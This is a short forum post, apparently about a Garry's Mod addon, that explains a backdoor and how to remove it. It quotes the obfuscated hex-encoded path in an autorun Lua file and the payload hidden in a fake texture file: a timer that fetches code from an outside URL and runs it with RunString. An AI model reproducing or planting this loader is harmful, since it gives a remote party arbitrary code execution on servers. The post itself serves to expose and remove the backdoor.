It works like this, inside the folder lua\autorun\server folder is the backdoor, inside the file is the following code:
Code:
local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}which translated says:
Code:
materials/npc/help.vtfinside the file is the following code:
Code:
timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=0I98ooO0W2ZGDy9FjZAP", function(b) RunString(b, ":", false) end)end)To eliminate this backdoor, what they have to do is delete the following files:
Code:
rogue\lua\autorun\server\npc_help.lua
rogue\materials\npc\help.vtf